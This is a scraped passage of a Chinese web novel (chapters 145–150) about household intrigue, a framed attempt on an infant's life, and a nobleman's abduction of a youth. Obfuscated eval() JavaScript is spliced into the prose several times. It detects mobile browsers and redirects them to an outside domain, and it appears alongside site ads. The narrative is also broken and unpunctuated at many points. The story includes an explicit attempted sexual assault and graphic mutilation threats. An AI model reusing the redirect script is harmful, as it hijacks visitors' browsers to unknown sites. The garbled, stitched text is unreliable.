l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115869|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说更新,记住域名caixs.com?(请来才小 说 看最新章节 完整章节)重重 瘫坐在地,呼哧呼哧地剧烈喘息。 郑丰过来了,秋扇立刻号哭起来,拽着郑丰的袍角:“老爷,奶娘临死前说有人推她!她和宝哥儿不是意外坠楼的,是有人要害他们啊! 郑丰脸上的肥肉抖了抖,一双小眼瞪成了平时的两倍大,怒道:“是谁如此歹毒,竟敢害我的儿子! 这是他千求万求、好不容易才得到的儿子,是他的命根子! 秋姨娘瞧见康氏,顿时面容扭曲,怒道:“是你!一定是你嫉妒我有儿子,才想害他的! 康氏惊道:“不是我! 秋姨娘扑过来厮打康氏,钗环散了一地:“除了你还有谁!一定就是你这只下不出蛋的老母鸡干的! 康氏哭着辩解:“老爷,天大的冤枉啊!我要是想害十一郎,有的是法子暗地里下手,何必众目睽睽做这种事呢? 秋姨娘愣了片刻,又红着眼睛瞪向郑丰的其它妾室们,挨个指过去:“是你?还是你!就是你们,你们都嫉妒我有儿子! 那些姨娘们纷纷往后躲,觉得秋扇这样子真吓人。 郑丰怒道:“给我去查,十一郎坠楼时,都有谁不在席上的! 下人们立刻动了起来,很快就排查出了几人,有伺候的下人,也有宾客。 报完几个下人的名字,便报宾客:“知府大人不在,周二公子和陆八公子、魏三姑娘都不在,还有咱们府上的五姑娘也不在。 秋扇听到敏感词,顿时嚎起来:“五姑娘,一定是五姑娘!她这是恨上我了啊,老爷! 叶绯霜一回来,看见的就是这满院子的鸡飞狗跳。 不知谁说了句“郑五姑娘回来了,无数道视线纷纷射向她,目光那叫一个异彩纷呈。 秋扇飞奔过来,她没有像对康氏那样对叶绯霜动手,而是砰砰磕起头来。 “五姑娘,我有什么得罪的地方,您尽管冲我来。不要对我们宝哥儿下手,他才一岁,他是无辜的啊! 叶绯霜:哦吼。 你看这口锅,它又大又圆。 第145章 为何帮她 园子一出事,小桃就偷偷溜了出去,给叶绯霜报信。 所以叶绯霜已经得知了刚才发生的事。 她弯腰扶起秋扇:“秋姨娘,这话怎么说?和我没关系啊。” 秋扇却不起来,强硬地跪着,哭声哀戚无比:“五姑娘,哥哥是猪油蒙了心,才做下错事,可他已经受到了惩罚,人都**。他做的事我真的不知情啊!如果您非要记恨,就恨我吧,别恨我们宝哥儿!” 周围的宾客们虽然不知道秋姨娘的哥哥做过什么伤害叶绯霜的事情,但听这话,好像叶绯霜的确有很大的动机来害郑文宝。 毕竟郑文宝是秋姨娘的命根子,还有什么比害死郑文宝更让秋姨娘难受呢? 郑丰脸色变得铁青,显然已经气怒到了极点。 他双眼通红,仿佛能随时喷出火焰来,瞪着叶绯霜:“是你?” 郑文煊忙道:“五叔先别急,不妨听五妹妹说说。” 他看向叶绯霜:“五妹妹,你刚才离了席,去了哪里?” 叶绯霜说:“梅林。” “可遇见了什么人?” 遇见了萧序,但不能说。 一是因为在场之人都不知道萧序是谁,她说出来没有可信度。 二是她都不知道萧序现在在哪儿。要是这些人叫萧序过来作证,她找不到人,只会更加重她的嫌疑。 她现在想的是,这件事是秋姨娘设计的,还是旁人? 见叶绯霜沉默不语,秋扇立刻尖叫起来:“她没有人证!说不定她根本就没去梅林!她就是登上了揽月楼!” 还有人附和:“我觉得,推奶娘的人肯定身形不太高大,否则难免被我们这些在下边的人注意到。如果对方身形娇小,再弯弯腰,就能被墙挡住,咱们才看不见。” 这话得到不少人的认同,顿时觉得叶绯霜的嫌疑更大了。 叶绯霜很镇定,她垂眸看着秋扇:“既然秋姨娘咬定了是我害人,那就请拿出证据来。不要光凭猜测下定论。” 郑文煊上前一步:“是了,在没有切实证据前,秋姨娘不可妄自给五姑娘定罪。” 郑文煊的确不相信这事会是叶绯霜做的。 且不说郑茜静对这位五妹妹的评价多高,单说陈宴和卢季同,这二位眼 光多高、口味多刁都没有说过叶绯霜一个字的不好。 可见五妹妹的人品绝对不会有问题的。 双方对峙着一个嬷嬷带了几个粗使下人过来:“五老爷这几个奴才说他们瞧见了登揽月楼的人。” 秋姨娘忙不迭地问:“你们都看见了什么?快说!” 一个小姑娘说:“方才我正在园子里培土抬头就见一个影子从揽月楼上跑了下来跑得可快了转瞬就没影儿了。” “是男是女?” “女的。” “你可看见长什么样了?” “没有她跑太快了我没看清。” “衣裳呢?穿的什么衣裳?” 小姑娘说:“红衣裳。” 现在不是叶绯霜刚回郑府的时候了郑五姑娘爱红装已经不是什么新鲜事了。 甚至有人看她穿着好看也开始跟着穿了。 今儿就有两三个姑娘也穿的艳色但她们自始至终都没有离席。 旁边几个下人跟着附和:“我也瞧见了是个红影子。” “对而且对方的身量和……和五姑娘挺像的。” 一听这话秋扇顿时又嚎起来涂着鲜红丹蔻的长指甲指着叶绯霜:“听到没有!你还说不是你!” “她们不是没看见脸么?光凭一个身影就能断定是我?”叶绯霜反问“幕后黑手找个和我身量差不多的人套上红衣裳既害了你儿子还能嫁祸给我你怎么不考虑考虑这种可能?” “你就是狡辩!根本不可能!除了你 郑丰也觉得是叶绯霜毕竟除了她旁人连动机都没有。 “杜大人呢?”郑丰问“我要请杜大人做主!” 听这意思郑丰是要把叶绯霜送到府衙去了。 族内一些长辈不同意了。 家里的事儿就在家里解决闹到府衙去像什么话? 况且五女和陈家的婚马上就要退了再闹出这么一通她以后还嫁不嫁人了?哪家愿意娶一个和人退了婚又进过府衙的姑娘? 郑丰平 日里嬉皮笑脸的,让人觉得他脾气好。但是今天的事牵扯到了他儿子,他强硬得很。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115870|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么都要告官,要让青天大老爷杜大人为他做主。 毕竟郑丰平生只在乎两件东西:银子和儿子。 女儿算什么?女孩子的名声那就更不是他该考虑的了,他宝贝儿子才是最重要的。 郑文煊不禁再次问叶绯霜:“五妹妹,你仔细想想,就没有谁看见你那个时候在梅林里而不是登了揽月楼?” 叶绯霜想,要不派人去找一找萧序,让他过来做个证? 可是这样对他不好。成国公对萧序的身份三缄其口,可见萧序不愿暴露。 要是让他来为自己作证,难免将他暴露人前,多对不住人家。 而且他们孤男寡女单独说话,也不好听。 可是现在这情形,也只能…… 她正准备说话,便听见了杜知府的声音:“郑五爷。” 郑丰见杜知府可算回来了,忙迎上去,饮泣吞声地把自个儿的委屈说了。 说罢,他又看向叶绯霜:“五侄女,你别怪五叔。若你真是冤枉的,等你回来,五叔向你负荆请罪!但你真是凶手,五叔也不能纵容了你,我们郑家可容不下此等心思歹毒的姑娘!” 叶绯霜对杜知府说:“杜大人,我刚才……” “郑五姑娘刚才和本官在一处。”杜知府说,“那些人看见的红衣女子不会是她。” 此话一出,郑丰的下巴差点儿掉在地上。 叶绯霜也很惊讶。 “大……大人,您说五侄女和您在一块儿?那她刚才怎么不说呢?” “本官不许她说的。”杜知府声音郑重,却面带愧色,“本官与郑五姑娘在梅林偶遇,对弈了一局,本官输给了她,觉得丢人得很,便让她保密,不许说出去。” 其实这个说法细想想也有纰漏,毕竟叶绯霜大可只说“我那时与杜知府在梅林对弈”,并不需要说明棋局的输赢。 但因为杜知府两袖清风、浩然正气,在民间积累起了良好的口碑,他说的话一般没人怀疑。 毕竟打死他们都想不到,青天大老爷杜大人会为一个小姑娘作伪证。 就连叶绯霜自己都没想到。 她看着这位义正言辞的杜大人,心中疑惑渐深。 杜大人为什么要帮她作证呢? 第146章 互相猜疑 有杜知府作证,旁人当然不会再怀疑叶绯霜。 但这个“旁人”里并不包括秋扇。 她还在说:“就算不是五姑娘亲自推的,也可能是她找人做的啊!” 叶绯霜变了脸色,眉眼森冷:“还是那句话,你非说是我,就拿出证据来!无凭无据,你这般攀咬着我不放,到底是何居心?” 她走到瘫软在地的秋姨娘面前,居高临下地睨着她:“莫非,是你拿自己儿子做局,非要栽赃给我?” 秋姨娘瞪大眼:“宝哥儿是我的命根子,我怎么可能!你不要血口喷人!” “你也知道血口喷人?”叶绯霜冷嗤,“你再敢红口白牙地污蔑我一句,看我不禀告三伯母,让人打烂你的嘴!” 康氏也斥道:“秋姨娘,五姑娘也是你能诬陷的?你是失心疯了罢!” 秋姨娘不敢再说,满腔后怕和委屈无从发泄,一味地趴在地上嚎哭。 很快,就有新消息传来:“五老爷,在假山后边找到一个包袱。” 打开一看,里边是一套女子的红裙。 “推宝哥儿的那人肯定穿的就是这套衣裳!”秋姨娘质问,“就只找着衣裳,没找着人?” 下人们摇头。 于是众人便知,凶手一时半会是找不出来了。 好好的周岁宴出了这种事,宾客们也没有玩乐的心情了。所幸该走的流程都走完了,大家纷纷散去。 郑丰请杜知府为自己做主,委屈地说凶手一天找不出来,他就一天睡不着觉。 叶绯霜在郑府门口唤住了杜知府。 “多谢杜大人为我解围。”她恭恭敬敬地说,“只是不知道,杜大人为何愿意相信我?” “我方才路过梅林,见到了五姑娘在林中,算算时间,便知五姑娘不会是登揽月楼的人。” “那杜大人也见到了与我说话之人?” 其实叶绯霜刚才就想,杜知府是不是看见了萧序?他不想让萧序暴露,所以才为她作伪证。 “只见了一个背影,并不知道对方是谁,也不感兴趣。”杜知府的声音很淡,“本官办案,只求公理正义。为的是查明真相、不使无辜者蒙冤,即便作伪证不妥,本官也不觉有错。” 叶绯霜诚挚地说:“受教了 ,多谢杜大人。 杜知府略一颔首,转身走了。 算算年纪,杜知府今年也就三十多岁。他保养得宜,头发茂盛,眼神炯亮。但是刚才离得近,才发现他眼角已经有了不少细纹。 果然,当一府长官是很劳心劳力的。 回玉琅阁的路上,叶绯霜暗自复盘今日之事。 其实,她感觉这事未必是冲着她来的。或者说,不全是冲着她来的。 因为太简单了。 如若真要设计她把奶娘推下去,应该用某种方式把她骗上揽月楼才对啊。 没有这一环,她的嫌疑就小了很多,轻易就能洗脱。 难道对方就是冲着郑文宝去的?主要目的就是害死郑文宝? 叶绯霜觉得这个可能性还是蛮大的。害死郑文宝为主,甩锅给自己为次,毕竟她和秋姨娘因为福泰结下了仇,用来背锅再合适不过了。 要真是这样,那五房里的人都有嫌疑。 此时的鼎福居里,傅湘语正在喂郑老太太喝药。 “她还真狠得下心。傅湘语如此评价秋扇,“竟舍得拿自己儿子做局。 郑老太太不屑道:“这也叫做局?蠢货一个,最起码也得把人骗到揽月楼上去吧? 傅湘语说:“秋姨娘大抵觉得叶绯霜还小,轻敌了。 一边的罗妈妈也吐槽:“我早告诉过她了,那五姑娘心眼挺多的,她要是下手,务必得把事做周全了。要是有了主意,不妨来问问咱们,咱们也给她完善完善。结果呢,她自己就动手了,屁事不顶,还敢赌上十一郎。 郑老太太倒不在乎郑文宝,毕竟郑丰就不是她亲生的,还常年奔波在外,感情淡得很。 外边有丫鬟通报:“大公子来了。 郑老太太一张老脸瞬间挂了笑:“快请! 她拍了拍傅湘语的手:“我把你哥哥的事和煊哥儿说说,一定不耽误你哥哥的前途。 傅湘语乖巧点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115871|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而另外一边,秋扇正抱着郑文宝在哭。 其实今日之事,她猜到了是谁做的。 她跟心腹丫鬟抱怨:“老太太也忒狠了,即便要算计五姑娘,也不能借我的宝哥儿下手啊!万一宝哥儿有个三长两短,这不是要我的命吗? 丫鬟忙道:“嘘姨娘小点声!” 秋扇现在想想都还后怕 秋扇觉得委屈得不行不禁埋怨起来:“为何我才刚回郑府就让哥哥收拾五姑娘?不就是为了让老太太舒心吗?我这一片孝心换来的却是他们不把我的宝哥儿当人!” 她算是看清了老太太根本就没拿宝哥儿当孙子。 他们在老太太眼里屁都不是随便被利用随时都可以被牺牲。 秋扇咬紧唇角不甘又愤愤地说:“以后她们斗去吧我再也不管了!” 什么讨好、什么富贵、什么谋算……统统都和她儿子的安危没法比! 周岁宴上的事并没有给五房之外的人造成什么影响日子还是正常过。 叶绯霜最近去味馨坊去得比较多。 绿蕊收了摊高兴地说:“今日又卖完了一块儿点心都没剩。姑娘你真是太厉害了你怎么想出这个盲盒卖法的?” 把每天卖不完的点心装在匣子里低价出售能买到什么口味的点心全凭顾客运气。 因为价格合适而且赌一赌这种玩法会让人觉得很刺激所以买的人很多。 叶绯霜笑道:“不是我想的是我以前的一个朋友告诉我的。” 绿蕊说:“姑娘的朋友好厉害。” “她是很厉害她给我讲过特别多新奇的事情。” 但叶绯霜也不知道她们算不算朋友。 因为她们连面都没见过。 她们只能隔着一堵院墙说话自己在墙里头她在墙外头。 叶绯霜正回味着她前世唯一勉强可以称一声朋友的人忽见一个伙计跑进来焦急道:“不好了桑彤姑娘和她弟弟清溪被人拦住了对方想抢清溪!” 叶绯霜立刻让人去璐王府报信然后提了门后的棍子跑出味馨坊。 她要去看看谁这么大胆竟然当街强抢民男。 第147章 丑男作怪 自打过了年,桑彤就去了叶绯霜的香料铺子做事。 清溪有时候会跟着桑彤一起去。他不会调香,就搬个小板凳坐在一边,帮姐姐打打下手,赚几个大钱去买肉包子和松子糖。 不过只要桑彤去味馨坊,清溪就一定会跟着她一起去。 味馨坊好吃的多,还有对他很好的哥哥姐姐们,阿霜姐姐还会陪他玩。 今天绿蕊还特意给清溪装了一个盲盒,里边都是他爱吃的点心。 姐弟俩回家的时候,清溪帷帽上的轻纱被风扬了起来,刚好被一位凭栏饮酒的公子看见了。 这位公子不是别人,正是那位好色的晟王七公子,宁浔。 宁浔爱美人。 只要是美人,不分男女,他都爱。 清溪露脸的一刹那,宁浔简直惊为天人,一团火顿时从下身烧到了心头。 他二话不说就带着随从出了酒楼,让把清溪抢上马车。 桑彤护着弟弟,惊叫道:“你们是谁?我们是璐王世子的人!你们不能动我们!” 在荥阳,谁不忌惮璐王世子三分?只要报出这个名号,什么麻烦都能迎刃而解。 可谁知,这次竟不管用了。 这位年轻公子,竟丝毫不忌惮璐王世子! 他甚至还讥笑着说:“宁衡那个傻大个也会玩男人了?行啊,你们跟本公子走,本公子回头就和他说去!” 桑彤大呼救命,却被宁浔的随从捂住嘴拖到了一边。 她目眦尽裂,无力地发出“唔唔”声,也只能眼睁睁地看着弟弟被人拽上马车。 车厢内,宁浔一把扯下清溪的帷帽。 看着他的脸,宁浔眼中几乎有狼光冒出。 宁浔觉得今年自己的桃花不太顺,才过年没多久,就在颍川错睡了一个丑八怪,让他呕心了好久。 来了荥阳,没碰着那郑五姑娘就算了,连个顺眼的美人都没遇到。 今儿总算让他称心了。 他一边迫不及待地解清溪的衣服,一边说些不堪入耳的荤话,但清溪一个字都听不懂。 撩了半天也不见身下的人有反应,宁浔没耐心了,准备霸王硬上弓。 宁浔刚解开自己的裤子,却听骏马一声嘶鸣,车厢剧烈晃动起来,直接 把宁浔从清溪身上甩开了。 拉车的马就和疯了似的在街上狂奔起来。宁浔在车厢内摔得七荤八素差点痿了。 终于马车停了下来。 车帘被挑开 叶绯霜接住他拍拍他的头:“没事了没事了我们不怕阿霜姐姐保护你。” 清溪吓坏了抱着她哭个不停。 叶绯霜覆了面只露出一双眼睛眯眼看向车厢里和宁浔四目相对。 叶绯霜想长得是个人样怎么就不干人事? 宁浔更兴奋了他果然转运了!又来一个美人! 有些美人就是这样你不需要看清她的全貌只一双眼你就知道差不了。 宁浔本来想提裤子挡住关键部位现在也不挡了就那么大咧咧地露着耍起流氓来。 “呦小大美人你这是自投罗网啊。”宁浔懒洋洋地说“怎么跟哥哥我回去吗?哥哥我保证对你好让你荣华富贵享受不尽。” “小大美人是什么鬼?” “大美人是夸你长得好小是说你……”宁浔的视线看向叶绯霜胸口猥琐地说“那里。” 预料中的面红耳赤或者恼羞成怒并没有出现叶绯霜淡定道:“不好意思小大丑男我可不能跟你走。” 宁浔一愣:“你叫我什么?” 叶绯霜:“大丑男是骂你长得丑。” 同时她视线也往下扫不过背着光她什么都看不到不至于被辣眼睛。 “小是说你那里。” 宁浔长这么大第一次听这种话。 他足足愣了好几息才反应过来。 怒火顷刻间盖过了**他登时坐起来脸红脖子粗地指着叶绯霜:“你还是不是女人?你要不要脸?” “被我说中了?恼羞成怒了?”叶绯霜眨眨眼“真的很小啊?” “你你……” 宁浔真没遇到过这情形。 他做惯了上位者一直都是他欺压、**别人乍然成了弱势他连反驳都不知道该怎么反驳。 “你”了半天后挤出一句气震山河的:“放肆!” 他怒吼:“来人!把这个刁民给本公子拿下! ” 半晌没动静宁浔掀起车帘一看不知道在什么犄角旮旯的地方他的随从七仰八叉倒了一地。 这是荥阳他璐王叔的封地所以宁浔自恃身份上街也没带什么高手只带了几个普通侍卫。 现在竟……这个女人她…… 叶绯霜手中的木棍指向宁浔上边还有鲜血。 宁浔顿时变了脸色嚷起来:“你知道我是谁吗?我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115872|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晟王七公子!你敢动我我诛你九族!” 谁知这女人连这句话都不怕! 宁浔大叫起救命来。 “叫吧。”叶绯霜说“看有没有人能听见来救你。” 宁浔喊了半天连只鸟都没喊来。 他彻底慌了出了一脑门子汗他这是遇到什么了? “我行走江湖孑然一身可没有九族给你诛。” 宁浔倒也没怀疑。这女人毫无羞耻感连男女大防都不顾忌她能是什么良家女? 宁浔这下彻底痿了。 叶绯霜威胁地说:“我大可神不知鬼不觉地杀了你毁尸灭迹后继续浪迹天涯去。天大地大我这么小小一个人以为当真能抓住我?” 宁浔所依凭的只有他的身份一旦遇到不畏他身份的亡命之徒他就屁都不是了。 “我行走江湖多年最恨的就是采花贼。”叶绯霜掏出一把**“你知道我以往遇到采花贼我都怎么处置他们吗?” 木棍压到了宁浔大腿根部叶绯霜在宁浔的瑟瑟发抖中继续幽幽说:“我不会直接杀了他们我会把他们的那里一片一片地切下来喂给他们自己吃掉……” 宁浔:“呕。” 恶心吧?叶绯霜也觉得挺恶心的。 这是前世陈宴给她讲过的一个案子她听了大受震撼差点把那天的饭都吐出来。 宁浔往车厢里边缩了缩整个人都团了起来他已经感到幻肢在痛了。 叶绯霜往里挪了一步宁浔以为她来片自己了顿时大叫起来:“女侠女侠我不敢了!你饶了我!” “不敢了?” “不敢了!” “行信你一次。”叶绯霜的木棍用力捅了捅“本女侠可不管你是什么公子要是再让我看见你做这种事我一定把你一片一片……” “你别说了!”宁浔惨白着脸打断了叶绯霜的话。 叶绯霜带着清溪走了宁浔爬出马车大吐特吐。 地上的随从们艰难地爬起来聚到宁浔身边惹来好一通臭骂。 有一个随从没起来倒在地上裆部一片血红。 宁浔不是个好枣他的一些属下也上行下效恶事干得不少。 这个不知死活的正是宁浔的随从里 宁浔看着他裤裆处的血想到刚才那女人说的话莫非这随从的已经被…… 呕他再次吐了起来。 “走赶紧走!”宁浔边吐边嚎“回客栈!不对去璐王府!本公子要去璐王府!” 第148章 怕找下家 匆匆赶来的宁衡遇见了叶绯霜和清溪。 见两人都好好的,他提着的心终于放了下来。 叶绯霜把宁浔刚才的表现给宁衡讲了,宁衡笑得好半天没直起腰来。 乐够了,他叫叶绯霜一起回璐王府。 说前几日有人给璐王妃送了几匹不错的贡缎,里边有两匹桃红色的,璐王妃比着叶绯霜的身量给她裁了衣裳,让她过去拿。 叶绯霜也经常往璐王府送东西,礼尚往来惯了,所以她也不和璐王妃客气。 在王府门口,听人说宁浔来了。 还说七公子带着家当,像是来避难的。 叶绯霜拿了衣裳就走,没和宁浔打照面。 宁衡去看宁浔时,对方正在客房里吸水烟。 靠着金枕,还有两个漂亮丫鬟给捏腰捶腿,惬意得很。 他越闲适,宁衡越觉得师父刚才给他描述的宁浔屁滚尿流的样子好笑,没忍住笑出了声。 宁浔今日心情不好,也没好语气:“傻大个,你笑屁呢。” 宁衡笑得更厉害了,这人还骂起自己来了。 宁浔眯着眼,狠狠吸了几口水烟,又问:“哎,你见过郑五姑娘没?” 宁衡的笑声戛然而止。 他睁大一双虎目:“莫非你是为了郑五姑娘才来荥阳的?” 宁浔阴恻恻地道:“陈三夺美之仇永志不忘!” 要是宁浔被叶绯霜一吓唬就改邪归正了,他也不会落个混世魔王的名号了。 他刚才是吓着了,但是现在他在璐王府里,身边高手环绕,他还有什么可怕的? 顿时又成了那个高高在上目空一切的七公子。 下次再见着那小娘们,哼,他定要让她见识他胯下金枪的厉害! 宁衡宛如看勇士一般看着宁浔:“你……你想抢郑五姑娘啊?” “你见过没?漂亮不?” “漂亮。” 宁衡在心里补充,不光我见过,你还见过呢,就在刚才。 但师父说她没有暴露身份,那么他自然也会守口如瓶。 宁浔沉着脸:“我必须让他陈三知道,本公子可不是好惹的!” 宁衡:“哇,堂兄真厉害。” 宁浔没听出宁衡语气 中的复杂,趾高气扬地道:“咱俩是堂兄弟,你得助我一臂之力。 宁衡:“呃…… 真的要吗? 我怕我师父把你拆了。 —— 杜知府很快查明了郑文宝周岁宴坠楼的真相。 是郑丰过年时新收的十七姨娘派人做的。 原因是十七姨娘查出了身孕,刚满两个月,大夫说是个男胎。 十七姨娘把郑文宝多受宠看在眼里,羡慕得厉害,想为自己的儿子也争取这样的待遇,于是打算除掉郑文宝,让自己的儿子成为五房唯一的男丁。 小桃继续禀告:“推奶娘的那个丫鬟指认时,十七姨娘还不承认,说不是她指使的。但是丫鬟房中有十七姨娘收买她时给的钱财,人赃俱获。 叶绯霜完全不懂怀孕生子这类事,问靳氏:“两个月就能诊出男胎了? 靳氏摇头:“怎么可能,那大夫明显就是骗赏钱的。 叶绯霜又问小桃:“怎么处理了? “丫鬟被带回府衙了,十七姨娘被软禁了起来,说等她生下孩子后再处置。秋姨娘不满意,大闹了一通。 若十七姨娘真生下个儿子,依照郑丰对儿子的重视,此事大概会不了了之。 若是个女儿,那十七姨娘就很危险了。 接下来一段时间,春雨绵绵。 叶绯霜很喜欢微雨天气。雨滴打在芭蕉叶上沙沙作响,在房中或看书、或小憩,哪怕是单纯的发呆,都很惬意。 但是她不喜欢雨水打在身上潮潮的感觉,所以不怎么出门了。 不过该听到的消息倒是一点都没漏。 比如新院子已经建好,马上可以入住了。 比如郑丰更重视郑文宝了,连带着秋姨娘也恩宠更盛,五婶康氏处境艰难。 比如府里开始为傅湘语议亲了。郑文煊还办了几场宴,请了不少青年才俊,让傅湘语相看。 小桃愤愤道:“傅姑娘那般恶毒,谁娶了她真是倒霉了! 叶绯霜想了想,吩咐小桃:“你去让你三哥…… 小桃:“这样对姑娘不太好吧? “没事,就这么做。 小桃出去了,房间更安静了。 叶绯霜靠着炕 小说的域名caixs?(请来才 小说 看最新章节 完整章节) 桌看窗外细雨,忽然想起了前世。 陈宴就非常讨厌雨天,他喜欢烈日当空的晴。 看,她和陈宴差别多大。才学、见识、品位、生活习惯、饮食口味,就连对于天气的喜好,都不一样。 截然不同的两个人,能过到一起才奇怪了。 前世她怎么就没察觉到这些呢?唉……诶? 等小桃回来了,叶绯霜问:“陈家的退婚书送回来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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信很简短,彬彬有礼地表示祖父行踪飘忽不定,等有了消息,人也已经出海了,退婚书目前无法送达。 最后一句是:反正五姑娘又不急着找下家,请稍安勿躁,耐心等待。 小桃不识字,但好奇信上写了什么,让叶绯霜给她念。 听到最后一句,小桃灵光一闪:“啊,姑娘,陈公子他是不是在防着你找下家啊?退婚书没送来,你就不能和别家定亲。” “不会,他又不是吃饱了撑的,管这么宽。” 小桃嘟囔:“可是姑娘你没发现吗?陈三郎真的很愿意管着你。” 叶绯霜:“我退婚就是为了不被男人管着呀!” 小桃把这话品了好几遍,惊讶问道:“所以姑娘,你以后打算招赘吗?” 叶绯霜:“……” 是怎么能想到这里的? 第149章 所料不错 近日,一些流言又在荥阳悄悄传开了。 “你们听说没?郑五姑娘和晟王府的七公子,他们那啥啦!” “哪啥啊?” “哎呀,男人和女人还能干啥?” “啊?郑五姑娘不是和陈三郎的未婚妻吗?咋能和旁的男人搞到一块儿去呢?” “嗐,他们那些高门大户里多脏啊,啥事没有。” “我弟妹的表姑的邻居的女儿的哥哥在郑府当差,听说陈家和郑家正退婚呢,难道就是因为这事,所以陈家不要郑五姑娘了?” “肯定的呗。” 听说清风茶楼的说书先生给郑五姑娘和晟王七公子编了一个香艳故事,茶客们纷纷来听,茶楼顿时宾客满盈。 茶楼一个不起眼的角落里,有人问:“锦风哥,咱们要管吗?公子让咱们平息流言。” 锦风望着那正在做准备的说书先生,道:“公子之令岂可不从?当然要处理的。” 那手下立刻道:“我这便去!” 锦风拦住了他:“不是现在,过两日。” 手下变了脸色:“过两日可就传得满城风雨了!再平息还有什么用?” 锦风冷笑道:“那就传呗。放心,倘若公子怪罪下来,自有我担着,你们怕什么?” 手下疑惑不解,郑五姑娘可是未来的少夫人,这流言对她不利,锦风哥怎么还放任传播呢? 难道是公子授意的? 不管了,锦风哥是公子身边最得力的人,天塌下来有他顶着。 自己瞎操什么心。 那头,说书人已经开始了。 故事的前半段并没有指名道姓,但根据近日的流言,大家都知道是郑五姑娘和晟王七公子。 锦风对说书不感兴趣,对喝茶更没兴趣,听了一会儿就离开了茶楼。 说书人徐徐说着,渐入佳境。 他“啪”的一下大拍惊堂木,抑扬顿挫地问道:“众位可知,那月云楼中的红尘软帐中,颠鸾倒凤的是何人?” 听众们相当捧场:“谁啊?” “男主人便是那风流不羁、一表人才的晟王七公子……” 有人追问:“女主人是谁?” 说书人再敲惊堂木:“……只见那女子嘤嘤哭泣 ,埋着头不让人看脸,一味叫嚷着自己是郑五姑娘。可谁知就在此时,郑五姑娘和陈三公子相携而来! 雅间里的叶绯霜:“噗。 哪儿就相携了? 说书人:“那时朝阳初升,霞光万丈。他二人似踏云而至,真乃仙君玉女下凡,真真是郎才女貌,佳偶天成! 对上自家姑娘无语的目光,铜宝忙不迭地解释:“这死老头子自行发挥!他一开始拿给我的话本子没有这段! 宾客们的兴趣彻底被勾起来了,七嘴八舌地问:“干出丑事的女人竟不是郑五姑娘?那是谁? “那女子头上的衣服被挑开,嚯,竟是郑五姑娘的表姐,傅举人亲妹——寄居郑府的傅姑娘! 宾客们:“啊! 想不到他们近日听到的流言,竟有如此隐情! 原来做出丑事的另有其人! 一张方桌边,一个身着劲装、马尾高束的圆脸少年听到傅湘语的名字后,把已经出鞘的剑收了回去。 喝完最后一盏茶,他说:“走,回颍川。 桌边几个人立刻起身跟上。 其中一人问:“可要叫上锦风? 少年冷笑的时候颊边也会浮现出一个小酒窝,他眼神冷冽,声音亦冷含怒:“公子果然没有料错。回去照实禀明,让公子发落他。 说书人尚且不知道自己捡回一条命,故事讲完,立刻去了雅间。 “小公子,已经按照您的意思讲了,您看赏银…… 叶绯霜示意,铜宝把一个钱袋子递给说书人。 说书人笑呵呵地接过了。 叶绯霜戴着斗笠,所以说书人并不知道面前的人,其实两年前就跟他合作过了,那时候让他讲的是郑茜媛在诗会上的故事。 叶绯霜觉得他故事讲得不错,所以这次又来找了他。 叶绯霜走了,铜宝没走,埋怨道:“怎么不按照一开始的话本子讲?谁让你画蛇添足的? 说书人觉得自己很无辜:“这从何说起啊?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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酒过三巡,有下人过来低声禀告:“公子,郑五姑娘中招了,她已经被丫鬟扶着去厢房休息了。” 宁浔得意一笑:“成了,本公子马上就去!” 第150章 ** 宁浔带着他的心腹内官往后院去。 这内官名叫康贵,出身穷苦,六岁时遇到大旱,没了家。 因相貌不错,被人送去晟王府,成了晟王的娈童。 后来逐渐长大,身子骨硬了,狎玩起来失了趣味,恩宠也没了。 晟王看他有眼色,人也老实,把他派去宁浔身边伺候。 他慢慢混成了宁浔的心腹。 康贵还在劝:“主子,这样不好,这毕竟是璐王府。” 